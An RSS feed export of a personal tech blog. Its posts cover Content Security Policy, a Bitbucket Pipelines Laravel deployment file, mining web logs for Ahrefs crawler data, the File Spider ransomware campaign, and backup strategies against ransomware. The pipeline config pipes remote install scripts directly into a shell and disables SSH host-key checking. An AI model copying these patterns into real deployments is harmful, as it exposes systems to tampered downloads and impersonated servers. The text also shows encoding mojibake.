<?xml version="1.0" encoding="UTF-8" standalone="no"?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" version="2.0">

<channel>
	<title>Giedrius Majauskas blog</title>
	<atom:link href="https://www.majauskas.com/feed" rel="self" type="application/rss+xml"/>
	<link>https://www.majauskas.com/</link>
	<description>I blog about things I see in my work in web development, promotion, computer security fields. </description>
	<lastBuildDate>Fri, 14 Feb 2025 10:27:43 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.4</generator>
	<item>
		<title>Guarding Your Digital Fortress: The Essential Guide to Content Security Policy (CSP)</title>
		<link>https://www.majauskas.com/guarding-your-digital-fortress-the-essential-guide-to-content-security-policy-csp</link>
					<comments>https://www.majauskas.com/guarding-your-digital-fortress-the-essential-guide-to-content-security-policy-csp#respond</comments>
		
		<dc:creator><![CDATA[Giedrius Majauskas]]></dc:creator>
		<pubDate>Fri, 14 Feb 2025 09:48:57 +0000</pubDate>
				<category><![CDATA[Security]]></category>
		<guid isPermaLink="false">https://www.majauskas.com/?p=917</guid>

					<description><![CDATA[<p>In todayâ€™s digital age, your website is more than just a virtual storefrontâ€”itâ€™s a bustling online destination where users trust you with their sensitive information. Imagine this scenario: Youâ€™re running a popular e-commerce site, and without the right security measures, it&#8217;s like leaving the front door wide open. This is [&#8230;]</p>
<p>The post <a href="https://www.majauskas.com/guarding-your-digital-fortress-the-essential-guide-to-content-security-policy-csp">Guarding Your Digital Fortress: The Essential Guide to Content Security Policy (CSP)</a> appeared first on <a href="https://www.majauskas.com">Giedrius Majauskas blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>In todayâ€<img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2122.png" alt="™" class="wp-smiley" style="height: 1em; max-height: 1em;" />s digital age, your website is more than just a virtual storefrontâ€”itâ€<img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2122.png" alt="™" class="wp-smiley" style="height: 1em; max-height: 1em;" />s a bustling online destination where users trust you with their sensitive information. Imagine this scenario: Youâ€<img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2122.png" alt="™" class="wp-smiley" style="height: 1em; max-height: 1em;" />re running a popular e-commerce site, and without the right security measures, it&#8217;s like leaving the front door wide open. This is where Content Security Policy (CSP) steps in as your vigilant bouncer, ensuring only authorized scripts enter your digital space.</p>



<figure class="wp-block-image size-full"><a href="https://www.majauskas.com/wp-content/uploads/2025/02/image.png"><img fetchpriority="high" decoding="async" width="1024" height="1024" src="https://www.majauskas.com/wp-content/uploads/2025/02/image.png" alt="" class="wp-image-919" srcset="https://www.majauskas.com/wp-content/uploads/2025/02/image.png 1024w, https://www.majauskas.com/wp-content/uploads/2025/02/image-300x300.png 300w, https://www.majauskas.com/wp-content/uploads/2025/02/image-150x150.png 150w, https://www.majauskas.com/wp-content/uploads/2025/02/image-768x768.png 768w" sizes="(max-width: 1024px) 100vw, 1024px" /></a></figure>



<p><strong>Understanding CSP: Your First Line of Defense</strong></p>



<p>Think of CSP as the bouncer at an exclusive club. Itâ€<img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2122.png" alt="™" class="wp-smiley" style="height: 1em; max-height: 1em;" />s a security measure that restricts which resourcesâ€”like scripts and imagesâ€”your website can load. Without it, malicious attackers could slip in with harmful scripts, hijacking sessions or stealing data. During penetration tests, experts check if your CSP is doing its job, ensuring no vulnerabilities are left unchecked.</p>



<p><strong>The Silent Threat: Weak CSP Policies</strong></p>



<p>A weak CSP policy is like having a bouncer whoâ€<img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2122.png" alt="™" class="wp-smiley" style="height: 1em; max-height: 1em;" />s easily tricked. Attackers can inject malicious scripts, execute code injections, and steal sensitive information. Common issues include missing headers or overly permissive policies that allow inline scripts, making XSS attacks easy to carry out. For instance, if your site lacks a CSP header, it&#8217;s an open invitation for trouble.</p>



<p><strong>Building Your Security Strategy: Implementing CSP</strong></p>



<p>To fortify your digital fortress, start by implementing CSP in report-only modeâ€”a test phase where potential issues are flagged without blocking resources. This allows you to identify and fix any breakages before full enforcement. Hereâ€<img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2122.png" alt="™" class="wp-smiley" style="height: 1em; max-height: 1em;" />s a simple example of how it works:</p>



<pre class="wp-block-code"><code>Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self' trusted-cdn.com; report-uri /csp-report-endpoint/</code></pre>



<p>Once tested, enforce a stricter policy to ensure only trusted resources are loaded.</p>



<p><strong>Testing and Monitoring for Robust Security</strong></p>



<p>After setting up CSP, itâ€<img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2122.png" alt="™" class="wp-smiley" style="height: 1em; max-height: 1em;" />s crucial to test regularly. Use browser tools like Chrome DevTools to check blocked resources and verify your policy with commands such as:</p>



<pre class="wp-block-code"><code>curl -H "Content-Security-Policy: ..." https://your-site.com</code></pre>



<p>Set up a reporting endpoint to log violations, ensuring you stay proactive in maintaining security.</p>



<p><strong>Continuous Improvement: Staying Ahead of Threats</strong></p>



<p>Security isnâ€<img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2122.png" alt="™" class="wp-smiley" style="height: 1em; max-height: 1em;" />t static. Regularly review and update your CSP policy as your site evolves. Avoid unsafe directives like <code>eval</code> or <code>innerHTML</code>, and use nonces for inline styles. By continuously monitoring and refining your strategy, you ensure that your digital fortress remains impenetrable.</p>



<p><strong>Conclusion: Secure Your Digital Assets</strong></p>



<p>A robust CSP is vital in safeguarding against XSS attacks and other injection threats. Start with report-only mode to test without disruption, enforce strict policies post-testing, and monitor violations for ongoing protection.</p>



<p>Ready to enhance your web security? Our experts are here to help you build a resilient digital fortress. Contact us today for a consultation and protect your online assets from cyber threats.</p>
<p>The post <a href="https://www.majauskas.com/guarding-your-digital-fortress-the-essential-guide-to-content-security-policy-csp">Guarding Your Digital Fortress: The Essential Guide to Content Security Policy (CSP)</a> appeared first on <a href="https://www.majauskas.com">Giedrius Majauskas blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.majauskas.com/guarding-your-digital-fortress-the-essential-guide-to-content-security-policy-csp/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Bitbucket pipeline for laravel web app deployment</title>
		<link>https://www.majauskas.com/bitbucket-pipeline-for-laravel-web-app-deployment</link>
					<comments>https://www.majauskas.com/bitbucket-pipeline-for-laravel-web-app-deployment#respond</comments>
		
		<dc:creator><![CDATA[Giedrius Majauskas]]></dc:creator>
		<pubDate>Tue, 07 Nov 2023 16:46:27 +0000</pubDate>
				<category><![CDATA[Programming]]></category>
		<guid isPermaLink="false">https://www.majauskas.com/?p=905</guid>

					<description><![CDATA[<p>Continuous development is the process of constantly improving and updating a product or service. It involves making small changes over time in response to customer needs, market trends, and new technology. This approach recognizes that a product or service can always be improved. Continuous development is becoming more popular in [&#8230;]</p>
<p>The post <a href="https://www.majauskas.com/bitbucket-pipeline-for-laravel-web-app-deployment">Bitbucket pipeline for laravel web app deployment</a> appeared first on <a href="https://www.majauskas.com">Giedrius Majauskas blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Continuous development is the process of constantly improving and updating a product or service. It involves making small changes over time in response to customer needs, market trends, and new technology. This approach recognizes that a product or service can always be improved. Continuous development is becoming more popular in many industries because it helps organizations stay competitive and adaptable in a changing business environment. In this article, we will explore the benefits of continuous development and some best practices for using it effectively.</p>



<p>There are multiple standalone and integrated into version control CI platforms, e.g.</p>



<p><strong>Jenkins</strong>: Jenkins is a popular open-source automation server that can be used to automate the building, testing, and deployment of software. It is widely used in the industry and has a large community of users.</p>



<p><strong>Travis CI</strong>: Travis CI is a cloud-based continuous integration and deployment platform that is easy to set up and use. It supports a wide range of programming languages and frameworks.</p>



<p><strong>CircleCI</strong>: CircleCI is another cloud-based platform that provides continuous integration and deployment services. It is known for its speed and ease of use, and has integrations with many popular tools and services.</p>



<p><strong>GitLab CI/CD</strong>: GitLab CI/CD is a part of the GitLab platform, which provides a complete DevOps solution. It supports continuous integration, testing, and deployment, as well as container registry and Kubernetes management.</p>



<p><strong>TeamCity</strong>: TeamCity is a powerful on-premises build server that provides continuous integration, testing, and deployment capabilities. It is known for its flexibility and scalability, and has integrations with many popular tools and services.</p>



<p><strong>BitBucket Pipelines:</strong> Integrated CI/CD platform that is part of Atlasian BitBucket.</p>



<p>As I am using Bitbucket currently, lets take a look how to implement laravel automated deployment using Bitbucket Pipelines</p>



<h2 class="wp-block-heading">Setting up repository</h2>



<p>There are some things required prior implementing deployment</p>



<ul class="wp-block-list">
<li>Set up ssh keys for deployment in Bitbucket. <a href="https://support.atlassian.com/bitbucket-cloud/docs/use-multiple-ssh-keys-in-your-pipeline/">This is a nice guide how to set up this.</a> </li>



<li>Enabling pipeline support for repository in Bitbucket. Repository->Settings->Pipeline->settings</li>



<li>Creating bitbucket-pipelines.yml file</li>
</ul>



<h2 class="wp-block-heading">Bitbucket-pipelines.yml file</h2>



<pre class="wp-block-code"><code>image: php:8.2-fpm #image file as basis

pipelines:
  default:
    - step:
        name: GenerateTest #install and compile everything
        script:
          - apt-get update &amp;&amp; apt-get install -qy git curl unzip ssh
          - curl -sS https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer
          - curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.1/install.sh | bash
          - source ~/.bashrc
          - nvm install lts/fermium
          - npm install
          - npm run build
          #- docker-php-ext-enable gd exif pdo_mysql zlib
          - composer install --ignore-platform-reqs
          #- ./vendor/bin/phpunit test
        caches:
          - composer
        artifacts:
          - vendor/**
          - public/**
    - step:
        name: Lint #lint files so it would abort on syntax errors
        script:
          - ./vendor/bin/pint .
    - stage:
        name: Deploy to stagings
        deployment: staging
        steps:
          - step:
              script:
                - apt-get update &amp;&amp; apt-get install -qy git curl unzip ssh
                - ssh-keyscan <strong>&#91;host]</strong>  >> ~/.ssh/known_hosts
          - step:
              script:
                - pipe: atlassian/rsync-deploy:0.10.1
                  variables:
                    USER: <strong>&#91;user]</strong> 
                    SERVER: "<strong>&#91;host]</strong>"
                    REMOTE_PATH: "<strong>&#91;dir]</strong>"
                    SSH_KEY: $DEPLOY_SSH_KEY
                    LOCAL_PATH: "${BITBUCKET_CLONE_DIR}/*"
                    DEBUG: "true"
                    SSH_ARGS: " -o StrictHostKeyChecking=no "
                    EXTRA_ARGS: "--exclude=storage/logs/*" 
                - pipe: atlassian/ssh-run:0.4.3.  #RUN commands to migrate
                  variables:
                    SSH_USER: "<strong>&#91;user]</strong>"
                    SERVER: "<strong>&#91;host]</strong>"
                    SSH_KEY: $DEPLOY_SSH_KEY
                    COMMAND: "cd <strong>&#91;dir]</strong>;php artisan migrate --force;php artisan db:seed --force;php artisan cache:clear;"
                    EXTRA_ARGS: " -o StrictHostKeyChecking=no "</code></pre>



<p>And that is pretty much it. </p>



<p>As long as prior steps do not break, code + installed/generated JS+PHP libraries will be installed using BitBucket Pipelines.</p>
<p>The post <a href="https://www.majauskas.com/bitbucket-pipeline-for-laravel-web-app-deployment">Bitbucket pipeline for laravel web app deployment</a> appeared first on <a href="https://www.majauskas.com">Giedrius Majauskas blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.majauskas.com/bitbucket-pipeline-for-laravel-web-app-deployment/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>How to use Ahrefs data leak for competitor reasearch</title>
		<link>https://www.majauskas.com/how-to-use-ahrefs-data-leak-for-competitor-reasearch</link>
					<comments>https://www.majauskas.com/how-to-use-ahrefs-data-leak-for-competitor-reasearch#respond</comments>
		
		<dc:creator><![CDATA[Giedrius Majauskas]]></dc:creator>
		<pubDate>Thu, 22 Mar 2018 16:00:02 +0000</pubDate>
				<category><![CDATA[SEM]]></category>
		<guid isPermaLink="false">https://www.majauskas.com/?p=838</guid>

					<description><![CDATA[<p>Ahrefs is backlink checker SEO analysis and competitor monitoring company. It boosts one of the biggest backlink indexes in the market. For any bigger site you can be sure that its bots try to crawl you, at least to improve its backlink index. Ahrefs plans start at 99 USD ( [&#8230;]</p>
<p>The post <a href="https://www.majauskas.com/how-to-use-ahrefs-data-leak-for-competitor-reasearch">How to use Ahrefs data leak for competitor reasearch</a> appeared first on <a href="https://www.majauskas.com">Giedrius Majauskas blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><a href="https://ahrefs.com/">Ahrefs</a> is backlink checker SEO analysis and competitor monitoring company. It boosts one of the biggest backlink indexes in the market. For any bigger site you can be sure that its bots try to crawl you, at least to improve its backlink index.</p>
<p>Ahrefs plans start at 99 USD ( there were limited free ones as well). It would be quite a good price except these plans might leak data to your main competitors. You can get topics and posts your competitors think are important easily and for free without logging in into Ahrefs account. That is a big leak: it can help to determine what competition is working on and where you can improve.</p>
<p>See, Ahrefs tries to render the pages that someone else is monitoring on your site. First time I noticed it in my log files researching them for different reason. I was interested why they re-fetch style files even if the expire header is set for much longer time frame.</p>
<p><img decoding="async" class="aligncenter size-large wp-image-840" src="https://www.majauskas.com/wp-content/uploads/2018/03/ahrefs-letter-1024x191.png" alt="" width="1024" height="191" srcset="https://www.majauskas.com/wp-content/uploads/2018/03/ahrefs-letter-1024x191.png 1024w, https://www.majauskas.com/wp-content/uploads/2018/03/ahrefs-letter-1536x286.png 1536w, https://www.majauskas.com/wp-content/uploads/2018/03/ahrefs-letter-300x56.png 300w, https://www.majauskas.com/wp-content/uploads/2018/03/ahrefs-letter-768x143.png 768w, https://www.majauskas.com/wp-content/uploads/2018/03/ahrefs-letter.png 2020w" sizes="(max-width: 1024px) 100vw, 1024px" /></p>
<p>The letter is kind of a lie, as the posts that fetch CSS are not the ones that have the most traffic or the most important, nor it is an backlink index update. Also, I have noticed that Ahrefs fetches CSS for the same URI all the time again and again ( Link is checked 2x per day per average). That is huge: no search engine checks same files that aren&#8217;t updated in months so often. My guess it is competitor analysis for someone using ahrefs and having entered either competitors or important keywords.</p>
<ol>
<li>The links rendered could be treated as important for me at some point of history e.g. <a href="https://www.majauskas.com/how-delta-search-virus-works">Delta hijacker</a>;</li>
<li>However, part of them are expired in importance and have low queries/month based on google keyword tool;</li>
<li>On some of them I have never ranked well. That is really important, as it allows to improve in the future.</li>
</ol>
<p><span style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen-Sans, Ubuntu, Cantarell, 'Helvetica Neue', sans-serif;">The fetching is done to crawl JS links and evaluate page scores. It does not do this for the whole internet, just for important pages. And that lets us filtering the pages easily:</span></p>
<h4>Step 1.&nbsp; Download your access log file</h4>
<p>run grep :<br />
<code>grep Ahrefs access_log |grep style.css &gt; ahrefsleak.txt</code><br />
you can replace style.css with any js or stylesheet name your site uses. You will get lines like this :</p>
<blockquote><p>163.172.65.199 &#8211; &#8211; [18/Mar/2018:19:08:16 +0000] &#8220;GET /wp-content/[zzzzzz]/style.css HTTP/2.0&#8221; 200 24327 &#8220;https://www.[site.com]//[uri]&#8221; &#8220;Mozilla/5.0 (compatible; AhrefsBot/5.2; +<a href="http://ahrefs.com/robot/">http://ahrefs.com/robot/</a>)&#8221;</p></blockquote>
<p><span style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen-Sans, Ubuntu, Cantarell, 'Helvetica Neue', sans-serif;">where https://www.[site.com]//[uri] is the uri someone is interested in.&nbsp;</span>I got around 3000 lines from the week worth of data. Now lets filter them further. Note, that the IP it uses for fetching styles is different from the main bot IP.</p>
<p>Update : Since 2018 April 10, Ahrefs does not show referer information. However, it still leaks paid account data. So, you might need to craft a bit fancier grep command:<br />
<code>grep Ahrefs logs/access_log |egrep -B1 "(css|js)" |egrep -v "(css|js|--)"</code></p>
<h4>Step 2.&nbsp; Import the file to spreadsheets</h4>
<p>You should import this data into google sheets, excel or libreoffice spreadsheets using space as separator. Delete all columns except the ones referencing https://www.[site.com]//[uri]. Sort data by this column.</p>
<h4>Step 3. Delete duplicate data</h4>
<p>For google spreadsheets, this is good tutorial that one could use: <a href="https://developers.google.com/apps-script/articles/removing_duplicates">https://developers.google.com/apps-script/articles/removing_duplicates</a>. I got around 200 URIs and basic keywords that someone is interested in and careless enough to submit them to Ahrefs.</p>
<p>Now you can check the rankings of these posts manually, improve your content and you will benefit from the Ahrefs without paying for it.</p>
<p>Ahrefs could solve this problem in several ways:</p>
<ol>
<li>Stop showing referrer data when fetching scrips and styles. However, this would be easy to overcome and check too. (That is what happened on April 10)</li>
<li>Start adhering to silly internet standards like expires header and render multiple pages in batches.</li>
<li>Fetch styles for all the pages.</li>
</ol>
<p>At the moment I suggest stopping entering new important keywords into its monitor if you use paid plan.</p>
<p>The post <a href="https://www.majauskas.com/how-to-use-ahrefs-data-leak-for-competitor-reasearch">How to use Ahrefs data leak for competitor reasearch</a> appeared first on <a href="https://www.majauskas.com">Giedrius Majauskas blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.majauskas.com/how-to-use-ahrefs-data-leak-for-competitor-reasearch/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>File Spider – ransomware threat targeted to Balkan countries</title>
		<link>https://www.majauskas.com/file-spider-ransomware-threat-targeted-to-balkan-countries</link>
					<comments>https://www.majauskas.com/file-spider-ransomware-threat-targeted-to-balkan-countries#respond</comments>
		
		<dc:creator><![CDATA[Giedrius Majauskas]]></dc:creator>
		<pubDate>Mon, 18 Dec 2017 13:48:45 +0000</pubDate>
				<category><![CDATA[Security]]></category>
		<guid isPermaLink="false">https://www.majauskas.com/?p=814</guid>

					<description><![CDATA[<p>File Spider ransomware hit Balkan countries and demands ransom in 96 hours 2017 was a year when security researchers and Internet surfers had to survive many massive ransomware attacks: WannaCry, NotPetya and one of the most recent ones called File Spider crypto-malware. Since hackers are figuring out new techniques to [&#8230;]</p>
<p>The post <a href="https://www.majauskas.com/file-spider-ransomware-threat-targeted-to-balkan-countries">File Spider &#8211; ransomware threat targeted to Balkan countries</a> appeared first on <a href="https://www.majauskas.com">Giedrius Majauskas blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>File Spider ransomware hit Balkan countries and demands ransom in 96 hours 2017 was a year when security researchers and Internet surfers had to survive many massive ransomware attacks: WannaCry, NotPetya and one of the most recent ones called File Spider crypto-malware. Since hackers are figuring out new techniques to attack users, it is crucial that people would not hesitate to back up their data before it is too late.</p>
<p>The malspam campaign, delivering payloads of <a href="http://www.zdnet.com/article/new-spider-ransomware-threatens-to-delete-all-your-files-if-you-dont-pay-within-96-hours/">File Spider</a> virus, began sometime around 10th of December. Its main targets were Balkan countries, and this means that regions of Serbia, Bosnia and Hercegovina and Croatia were the ones to be exposed to the infection. The sent emails had a twist: they were informing people of their case debt collections.</p>
<p><img decoding="async" class="aligncenter size-full wp-image-815" src="https://www.majauskas.com/wp-content/uploads/2017/12/file-spider-ransomware-majauskas.jpg" alt="file spider ransomware" width="600" height="500" srcset="https://www.majauskas.com/wp-content/uploads/2017/12/file-spider-ransomware-majauskas.jpg 600w, https://www.majauskas.com/wp-content/uploads/2017/12/file-spider-ransomware-majauskas-300x250.jpg 300w" sizes="(max-width: 600px) 100vw, 600px" /></p>
<p>This financial theme is definitely successful as it is most likely to trigger a response from the recipients. If you would receive a letter about an alleged debt and its payment, I presume you would feel slightly intimidated and have no choice but to open it. However, you have a decision, and you can decide to check the legitimacy of the sender before figuring out the next step.</p>
<p>The opened letters contained .doc files which open in Microsoft Word program. As soon as users launch the downloaded executable, they would be introduced with a rather regular text. Before continuing further, people frequently click on the â€œEnable Editingâ€ button which makes the reviewing of the document a little easier. However, this is exactly the choice that hackers are expecting you to make. Therefore, the â€œEnable Editingâ€ button becomes â€œClick here to become infected with File Spider ransomwareâ€. Once this decision has been made, the hidden malicious macros are run, and an operating system becomes tainted with a <a href="https://www.2-viruses.com/remove-file-spider-ransomware">File Spider crypto-virus</a>.</p>
<p>Enc.exe and dec.exe processes begin after the malware is fully activated. Files become encrypted with AES-128 bit encryption, and hackers make their demands clear in the ransom notes and TOR website. Authors had also decided to allow victims to select from a couple of languages in which the ransom letters are displayed. Lastly, crooks expect the payments for decryption to be made in 96 hours. If victims do not follow the rules, their files are going to be permanently deleted.</p>
<p>In my opinion, it is never appropriate to pay the ransom even if it is small. With this action of surrender, you are allowing hackers to realize that this file-encryption-ransom strategy is working. Since many victims still choose to pay money in order to retrieve their files, it is doubtful that the developers of ransomware viruses are going to move on. Why would they if this technique brings them the money they desire? I do understand that the possibility of losing all your digital files is devastating. If that is the case, do not be ignorant and store them in an appropriate backup storage. Since there are new methods of ransomware-distribution coming out on a regular basis, file-backuping appears to be the only guaranteed prevention method.</p>
<p>The post <a href="https://www.majauskas.com/file-spider-ransomware-threat-targeted-to-balkan-countries">File Spider &#8211; ransomware threat targeted to Balkan countries</a> appeared first on <a href="https://www.majauskas.com">Giedrius Majauskas blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.majauskas.com/file-spider-ransomware-threat-targeted-to-balkan-countries/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>The best ways to reduce ransomware risks</title>
		<link>https://www.majauskas.com/the-best-ways-to-reduce-ransomware-risks</link>
					<comments>https://www.majauskas.com/the-best-ways-to-reduce-ransomware-risks#respond</comments>
		
		<dc:creator><![CDATA[Giedrius Majauskas]]></dc:creator>
		<pubDate>Wed, 27 Sep 2017 15:08:34 +0000</pubDate>
				<category><![CDATA[General]]></category>
		<guid isPermaLink="false">http://www.majauskas.com/?p=801</guid>

					<description><![CDATA[<p>Ransomware is hot security topic for the last few years. While only few of them were successful, they have several distinct advantages over other scareware ( and aggressive malware in general): 1. They force to use irreversible payment systems like Bitcoin (and prepaid cards were working OK in the past). [&#8230;]</p>
<p>The post <a href="https://www.majauskas.com/the-best-ways-to-reduce-ransomware-risks">The best ways to reduce ransomware risks</a> appeared first on <a href="https://www.majauskas.com">Giedrius Majauskas blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Ransomware is hot security topic for the last few years. While only few of them were successful, they have several distinct advantages over other scareware ( and aggressive malware in general):</p>
<p>1. They force to use irreversible payment systems like Bitcoin (and prepaid cards were working OK in the past). This is one of main reasons ransomware is popular today as scareware makers had some problems processing credit cards in the past. While these issues could be solved, this reduced profitability and downtime when some payment gateway got stopped.</p>
<p>2. The do a very high damage potentially, much larger than the money they are asking for. Loosing medical records or even work and study documents might be costly.</p>
<p>3. The development costs for ransomware itself is not that big. The encryption algorithms used are not new and lots of code samples are available. For example, lots of minor ransomwares are based on Hidden Tear project ( <a href="https://github.com/goliate/hidden-tear">https://github.com/goliate/hidden-tear</a> ) which itself does not encrypt properly and is educational sample only. Other types of scareware depend on locking system which is much harder to do properly and requires better system knowledge.</p>
<p>Thus ransomware will not go away as long as there are payment options, they are easy to do and people are ready to pay.</p>
<p>However, we have 2 powerful ways to protect oneself from ransomware attacks:</p>
<p>1. Antiviruses and other software â€“ based approaches to prevent ransomware from running or stop it early on. There is lots of promise in <a href="http://sdiwc.net/digital-library/download.php?id=00000551.pdf">canary file -based approaches</a>, early warning systems like <a href="https://www.hitmanpro.com/alert.aspx">Hitman Pro Alert</a> and so on.</p>
<p>2. Backups to reduce or remove possible harm.</p>
<p>The problem with backups is that they are implemented badly usually. Typical backup try to help in cases of accidental deletion of data or hardware failure at most. While this is ok, ransomware requires quite different approach. There should be a possibility to restore older versions of the file and a way to prevent older file deletion in case of infection.</p>
<p>There are some interesting development in versioned file systems that keep several iterations of the same file. However, the malware could delete all copies of the files if it would be aware of their existance like they do with shadow volume copies.</p>
<p>Remote backups (either in NAS or in remote web services) are somewhat better, as long as files are versioned there and it is impossible to delete all versions at once from the original systems. As long as file servers are not comprimissed at the same time as the PC, you will have a working backup.</p>
<p>I see another possiblity for backups : Flash-based storage with versioning capabilities and hardware controls for accessing to older copies of the files. This would ensure that files Â can be restored even if encrypted files are backed up on top or deleted. Sadly, I could not find an existing version of such hardware.</p>
<p>The post <a href="https://www.majauskas.com/the-best-ways-to-reduce-ransomware-risks">The best ways to reduce ransomware risks</a> appeared first on <a href="https://www.majauskas.com">Giedrius Majauskas blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.majauskas.com/the-best-ways-to-reduce-ransomware-risks/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>I am leaving Hostdime hosting and you should plan to do so too</title>
		<link>https://www.majauskas.com/i-am-leaving-hostdime-hosting-and-you-should-plan-to-do-so-too</link>
					<comments>https://www.majauskas.com/i-am-leaving-hostdime-hosting-and-you-should-plan-to-do-so-too#respond</comments>
		
		<dc:creator><![CDATA[Giedrius Majauskas]]></dc:creator>
		<pubDate>Sun, 20 Aug 2017 12:14:16 +0000</pubDate>
				<category><![CDATA[General]]></category>
		<guid isPermaLink="false">http://www.majauskas.com/?p=794</guid>

					<description><![CDATA[<p>I have hosted one of my site at Hostdime Brazil branch and after hell of weekend (Fri/Sat) I have decided to run away from them as fast as possible.Â There is nothing more painful than looking for hosting in South America. The prices are double of everywhere else. The networks are [&#8230;]</p>
<p>The post <a href="https://www.majauskas.com/i-am-leaving-hostdime-hosting-and-you-should-plan-to-do-so-too">I am leaving Hostdime hosting and you should plan to do so too</a> appeared first on <a href="https://www.majauskas.com">Giedrius Majauskas blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>I have hosted one of my site at Hostdime Brazil branch and after hell of weekend (Fri/Sat) I have decided to run away from them as fast as possible.Â There is nothing more painful than looking for hosting in South America. The prices are double of everywhere else. The networks are crap. But that is only half of the problems. So since 2013 I have used Hostdime.com.br. First it was a shared hosting but later I have moved to VPS.</p>
<p>I have never been really happy with the network link between them and Europe. However, I think it is acceptable and maybe I am really too much used. to great network speeds I got here. I need to serve websites for local customers in Brazil anyway and that is the single thing that matters. This year, everything got just worse. There was a network outrage that lasted for a day couple months ago. The communication by support looked poor. This Friday something similar happened and Hostdime support had hit new low.</p>
<p>Friday on 6 pm local I have noticed that site does not work and rebooted it. I have managed to connect through SSH but website was not working and connections just died suddenly after entering simple commands. The problem was weird, and hard to track down remotely. The support was not helpful at all : They kept repeating that everything is fine and asking for pings and traceroute data when the problem was in their data center. That continued for like 6 hours, then silence.</p>
<p>During next day I have managed to identify when the connections will fail: Each bigger data transfer (around a screen full of symbols, or ls -la data for medium sized folder) will cut the data connection. My data was hostage on the server and the Hostdime 24/7 support did totally nothing. I got really interesting answers to my tickets later on and I do not understand how can one tell these things to any customer.</p>
<p>At that point I have decided to move my site out, managed to purchase, configure and recover data from backups. The databases were easy as I had backups ready in good format. But I had to organize some files. On late Saturday night I got my server running on another provider and serving visitors. I got my site up in ~32 hours and at the moment of writing (45 hours since incident ) Â the old server and network still got the same problems.</p>
<h2>The Hostdime support procedure is bad</h2>
<p>Hostdime claims that it provides 24/7 technical support. That is partially true. There are support people that can respond to your issues but it looks like they can&#8217;t perform actual infrastructure fixes. This particular answer shows me the depth of this problem:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-796" src="http://www.majauskas.com/wp-content/uploads/2017/08/Hostdime-checking-problems.png" alt="" width="800" height="450" srcset="https://www.majauskas.com/wp-content/uploads/2017/08/Hostdime-checking-problems.png 800w, https://www.majauskas.com/wp-content/uploads/2017/08/Hostdime-checking-problems-300x169.png 300w, https://www.majauskas.com/wp-content/uploads/2017/08/Hostdime-checking-problems-768x432.png 768w" sizes="auto, (max-width: 800px) 100vw, 800px" /></p>
<p>The admins are checking the problem. They monitor it. They can&#8217;t tell how long it would take to fix them. They don&#8217;t have time to describe the problem to customers and what steps are taken to mitigate or solve the problem. They don&#8217;t have time to reply to support ticket updates for 6 hours. Maybe I am not important for them like (undoubtedly) other customers affected. But hey, they at least monitor it and after multiple hours in their own data center they know that the problem exists. Somewhere. And it is too complex for me to understand.</p>
<p>The first answer about what is particular problem was received 20 hours and it was in Portuguese. The short version &#8220;It&#8217;s out of our control, network problems, sorry, we are trying to work with other parties involved to fix them&#8221; even if they claim that they knew about them almost a half day ago.</p>
<p><em><strong>Hostdime gets a lot of &#8220;Out of our control&#8221; problems that take long to fix</strong></em></p>
<p>This is a second such problem (I mentioned the one couple of months ago). And it is weird how Hostdime has no procedure to fix it in timely manner. It looks like there is no plan for network outrages.</p>
<p><em><strong>Hostdime reacts to complaints and not to the issuesÂ </strong></em></p>
<p>It took them hours to find problem after I have complained even if the problem could not affect me only. They either don&#8217;t monitor service or don&#8217;t want to scare their customers by notifying them about problems with the services. The communication looks like they wanted to hide the fact that there is outrage and hoped that it will be fixed soon.</p>
<p>There are few things worse than support that does not acknowledges the problems and communicates backs in timely manner.</p>
<h3>Update about HostDime:</h3>
<p>~48 hours after the network started showing problems, the services got restored and I received email :</p>
<blockquote><p><em>The issue was resolved, we saw some bad routes, and optimize they.</em></p></blockquote>
<p>Good to hear, HostDime, that it was not something serious. But aren&#8217;t the network routing something you control?</p>
<p>The post <a href="https://www.majauskas.com/i-am-leaving-hostdime-hosting-and-you-should-plan-to-do-so-too">I am leaving Hostdime hosting and you should plan to do so too</a> appeared first on <a href="https://www.majauskas.com">Giedrius Majauskas blog</a>.</p>
]]></content:encoded>
					
